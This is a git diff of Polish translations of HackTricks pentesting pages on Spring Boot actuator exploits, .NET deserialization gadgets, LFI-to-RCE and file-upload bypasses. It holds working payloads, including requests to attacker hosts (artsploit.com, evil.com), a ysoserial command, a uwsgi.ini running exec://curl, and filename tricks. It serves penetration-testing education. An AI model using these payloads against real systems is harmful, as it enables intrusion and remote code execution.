Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML. +- Przykład URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Modyfikacja konfiguracji przez '/env'**: - Jeśli obecne są biblioteki Spring Cloud, punkt końcowy `/env` pozwala na modyfikację właściwości środowiskowych. - Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL. -- Przykładowe żądanie POST exploita: +- Przykład żądania POST exploita: ``` POST /env HTTP/1.1 @@ -41,26 +41,24 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Inne przydatne ustawienia**: -- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych. +- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych. ### **Dodatkowe informacje:** -- Kompletna lista domyślnych actuatorów jest dostępna [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Kompletna lista domyślnych actuatorów może być znaleziona [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - Punkt końcowy `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama. ### **Pokrewne tematy:** 1. **Env + H2 RCE**: - Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego `/env` i bazy danych H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF w Spring Boot przez niewłaściwą interpretację ścieżki**: - -- Obsługa parametrów macierzowych (`;`) w ścieżkach HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). -- Przykładowe żądanie exploita: +2. **SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki**: +- Obsługa parametrów macierzowych (`;`) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). +- Przykład żądania exploita: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index bb5c19567..50f53e87c 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadżetem. +Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadgetem. ## Gadget ObjectDataProvider @@ -22,7 +22,7 @@ Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base. ![](<../../images/image (319).png>) -Ok, kontynuujmy, przyglądając się, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi: +Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi: ![](<../../images/image (345).png>) @@ -30,9 +30,9 @@ Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy, ![](<../../images/image (596).png>) -Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona jest metoda**. +Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona metoda jest wywoływana**. -Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_\*\* to zostanie wykonane\*\*, możesz uruchomić ten kod: +Jeśli chcesz sprawdzić, że ustawienie _**MethodName**_** spowoduje jego wykonanie**, możesz uruchomić ten kod: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,10 +56,10 @@ Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\ ## ExpandedWrapper -Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ -Jest to bardzo przydatne w przypadkach, jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_\*\* wewnątrz instancji \*\*_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_. +Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz instancji **_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_. Możesz sprawdzić ten wrapper za pomocą następującego kodu: ```java @@ -89,7 +89,7 @@ Na [oficjalnej stronie](https://www.newtonsoft.com/json) wskazano, że ta biblio ### Przykład Json.Net -Przede wszystkim zobaczmy przykład, jak **serializować/deserializować** obiekt za pomocą tej biblioteki: +Przede wszystkim zobaczmy przykład, jak **serializować/zdeserializować** obiekt przy użyciu tej biblioteki: ```java using System; using Newtonsoft.Json; @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -W tym kodzie możesz **przetestować exploit**, wystarczy go uruchomić, a zobaczysz, że kalkulator zostanie uruchomiony: +W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony: ```java using System; using System.Text; diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index a6fe336ce..dcd075dfd 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -17,7 +17,7 @@ Również, **liczba potencjalnych nazw plików wynosi 62\*62\*62\*62\*62\*62 = 5 ### Inne techniki -Inne techniki polegają na atakowaniu protokołów PHP (nie będziesz w stanie, jeśli kontrolujesz tylko ostatnią część ścieżki), ujawnianiu ścieżki pliku, nadużywaniu oczekiwanych plików lub **sprawieniu, by PHP doznało błędu segmentacji, aby przesłane pliki tymczasowe nie zostały usunięte**.\ +Inne techniki polegają na atakowaniu protokołów PHP (nie będziesz w stanie, jeśli kontrolujesz tylko ostatnią część ścieżki), ujawnianiu ścieżki pliku, nadużywaniu oczekiwanych plików lub **sprawieniu, by PHP doznało błędu segmentacji, aby przesyłane pliki tymczasowe nie zostały usunięte**.\ Ta technika jest **bardzo podobna do ostatniej, ale nie wymaga znalezienia zero day**. ### Technika wiecznego oczekiwania @@ -33,17 +33,17 @@ W tej technice **musimy tylko kontrolować względną ścieżkę**. Jeśli uda n **Główne problemy** tej techniki to: -- Potrzebujesz, aby konkretne plik(i) były obecne (może być ich więcej) -- **Szaleńska** ilość potencjalnych nazw plików: **56800235584** +- Potrzebne są konkretne pliki, aby były obecne (może być ich więcej) +- **Szaleńcza** ilość potencjalnych nazw plików: **56800235584** - Jeśli serwer **nie używa cyfr**, całkowita potencjalna ilość wynosi: **19770609664** - Domyślnie **tylko 20 plików** może być przesłanych w **jednym żądaniu**. - **Maksymalna liczba równoległych pracowników** używanego serwera. - Ten limit w połączeniu z poprzednimi może sprawić, że atak będzie trwał zbyt długo -- **Limit czasu dla żądania PHP**. Idealnie powinien być wieczny lub powinien zabić proces PHP bez usuwania przesłanych plików tymczasowych, w przeciwnym razie będzie to również problem +- **Limit czasu dla żądania PHP**. Idealnie powinien być wieczny lub powinien zabić proces PHP bez usuwania tymczasowo przesłanych plików, w przeciwnym razie będzie to również problem Jak więc możesz **sprawić, by include PHP nigdy się nie kończyło**? Po prostu przez dołączenie pliku **`/sys/kernel/security/apparmor/revision`** (**niestety niedostępny w kontenerach Docker...**). -Spróbuj to, po prostu wywołując: +Spróbuj to zrobić, po prostu wywołując: ```bash php -a # open php cli include("/sys/kernel/security/apparmor/revision"); @@ -65,20 +65,20 @@ Zróbmy trochę matematyki: > [!WARNING] > Zauważ, że w poprzednim przykładzie **całkowicie DoSujemy innych klientów**! -Jeśli serwer Apache jest ulepszony i moglibyśmy nadużywać **4000 połączeń** (w połowie drogi do maksymalnej liczby). Moglibyśmy stworzyć `3999*20 = 79980` **plików** a **liczba** byłaby **zmniejszona** do około **19.7h** lub **6.9h** (10h, 3.5h 50% szans). +Jeśli serwer Apache zostanie ulepszony i moglibyśmy nadużywać **4000 połączeń** (w połowie drogi do maksymalnej liczby). Moglibyśmy stworzyć `3999*20 = 79980` **plików** a **liczba** zostałaby **zmniejszona** do około **19.7h** lub **6.9h** (10h, 3.5h 50% szans). ## PHP-FMP -Jeśli zamiast używać regularnego modułu php dla apache do uruchamiania skryptów PHP, **strona internetowa używa** **PHP-FMP** (to poprawia wydajność strony internetowej, więc jest powszechnie spotykane), można zrobić coś innego, aby poprawić tę technikę. +Jeśli zamiast używać regularnego modułu php dla apache do uruchamiania skryptów PHP, **strona internetowa używa** **PHP-FMP** (to poprawia wydajność strony internetowej, więc często można to znaleźć), można zrobić coś innego, aby poprawić tę technikę. PHP-FMP pozwala na **konfigurację** **parametru** **`request_terminate_timeout`** w **`/etc/php//fpm/pool.d/www.conf`**.\ -Ten parametr wskazuje maksymalną liczbę sekund **kiedy** **żądanie do PHP musi zakończyć się** (domyślnie nieskończoność, ale **30s, jeśli parametr jest odkomentowany**). Gdy żądanie jest przetwarzane przez PHP przez wskazaną liczbę sekund, jest **zabijane**. Oznacza to, że jeśli żądanie przesyłało pliki tymczasowe, ponieważ **przetwarzanie php zostało zatrzymane**, te **pliki nie zostaną usunięte**. Dlatego, jeśli możesz sprawić, aby żądanie trwało ten czas, możesz **generować tysiące plików tymczasowych**, które nie zostaną usunięte, co **przyspieszy proces ich znajdowania** i zmniejsza prawdopodobieństwo DoS dla platformy poprzez wykorzystanie wszystkich połączeń. +Ten parametr wskazuje maksymalną liczbę sekund **kiedy** **żądanie do PHP musi zakończyć się** (domyślnie nieskończoność, ale **30s, jeśli parametr jest odkomentowany**). Gdy żądanie jest przetwarzane przez PHP przez wskazaną liczbę sekund, jest **zabijane**. Oznacza to, że jeśli żądanie przesyłało pliki tymczasowe, ponieważ **przetwarzanie PHP zostało zatrzymane**, te **pliki nie zostaną usunięte**. Dlatego, jeśli możesz sprawić, aby żądanie trwało ten czas, możesz **wygenerować tysiące plików tymczasowych**, które nie zostaną usunięte, co **przyspieszy proces ich znajdowania** i zmniejsza prawdopodobieństwo DoS dla platformy poprzez wykorzystanie wszystkich połączeń. -Aby **unikać DoS**, załóżmy, że **atakujący będzie używał tylko 100 połączeń** jednocześnie, a maksymalny czas przetwarzania php przez **php-fmp** (`request_terminate_timeout`**)** wynosi **30s**. Dlatego liczba **plików tymczasowych**, które mogą być generowane **na sekundę** wynosi `100*20/30 = 66.67`. +Aby **unikać DoS**, załóżmy, że **atakujący będzie używał tylko 100 połączeń** w tym samym czasie, a maksymalny czas przetwarzania PHP przez **php-fmp** (`request_terminate_timeout`**)** wynosi **30s**. Dlatego liczba **plików tymczasowych**, które mogą być generowane **na sekundę** wynosi `100*20/30 = 66.67`. Następnie, aby wygenerować **10000 plików**, atakujący potrzebowałby: **`10000/66.67 = 150s`** (aby wygenerować **100000 plików** czas wyniósłby **25min**). -Następnie atakujący mógłby użyć tych **100 połączeń** do przeprowadzenia **brute-force**. \*\*\*\* Zakładając prędkość 300 req/s, czas potrzebny do wykorzystania tego jest następujący: +Następnie atakujący mógłby użyć tych **100 połączeń** do przeprowadzenia **brute-force**. Zakładając prędkość 300 req/s, czas potrzebny do wykorzystania tego jest następujący: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 godzin** (50% szans w 2.63h) - (z 100000 plikami) 56800235584 / 100000 / 300 / 3600 \~= **0.525 godzin** (50% szans w 0.263h) @@ -88,10 +88,10 @@ Tak, możliwe jest wygenerowanie 100000 plików tymczasowych na instancji średn
> [!WARNING] -> Zauważ, że aby wywołać limit czasu, wystarczy **włączyć podatną stronę LFI**, aby weszła w wieczną pętlę dołączania. +> Zauważ, że aby wywołać limit czasu, **wystarczy uwzględnić podatną stronę LFI**, aby weszła w wieczną pętlę dołączania. ## Nginx -Wygląda na to, że domyślnie Nginx obsługuje **512 równoległych połączeń** w tym samym czasie (a ta liczba może być poprawiona). +Wygląda na to, że domyślnie Nginx obsługuje **512 równoległych połączeń** w tym samym czasie (i ta liczba może być poprawiona). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 470685615..e32ceddbd 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -45,8 +45,8 @@ Inne przydatne rozszerzenia: - _file.php%00.png%00.jpg_ 6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **_**.php**_**, ale** niekoniecznie kończące się na .php** wykona kod): - _ex: file.php.png_ -7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”) -8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje odcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php +7. Używanie **strumienia danych alternatywnych NTFS (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”) +8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php ``` # Linux maksymalnie 255 bajtów @@ -59,7 +59,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru +### Ominięcie sprawdzania Content-Type, Magic Number, Kompresji i Zmiany rozmiaru - Omiń sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_ 1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) @@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. +- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **chunk PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. - [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. +- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **chunk IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. - [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. +- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **chunk tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. - [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Inne sztuczki do sprawdzenia @@ -81,7 +81,7 @@ AAA<--SNIP 232 A-->AAA.php.png - **Możliwe ujawnienie informacji**: 1. Prześlij **wielokrotnie** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie** 2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje** -3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”. +3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”. 4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows) 5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows) 6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. @@ -89,8 +89,8 @@ AAA<--SNIP 232 A-->AAA.php.png ### Specjalne sztuczki z rozszerzeniami -Jeśli próbujesz przesłać pliki na **serwer PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Jeśli próbujesz przesłać pliki na **serwer ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Pliki `.phar` są jak `.jar` dla javy, ale dla php, i mogą być **używane jak plik php** (wykonując je za pomocą php lub włączając je w skrypcie...) @@ -98,7 +98,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane t ## **Jetty RCE** -Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki! +Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazie, przesyłaj plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,7 +106,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany. +Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany. Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy: ```ini @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać ponownie uruchomiony (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian. +Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian. Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji. ## **wget File Upload/SSRF Trick** W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\ -Maksymalna długość **nazwa pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. +Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, aby **serwer HTTP przekierował do innego pliku**, więc początkowy URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym URL**. +Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, aby **serwer HTTP przekierował do innego pliku**, dzięki czemu początkowy URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym URL**. ## Narzędzia -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby 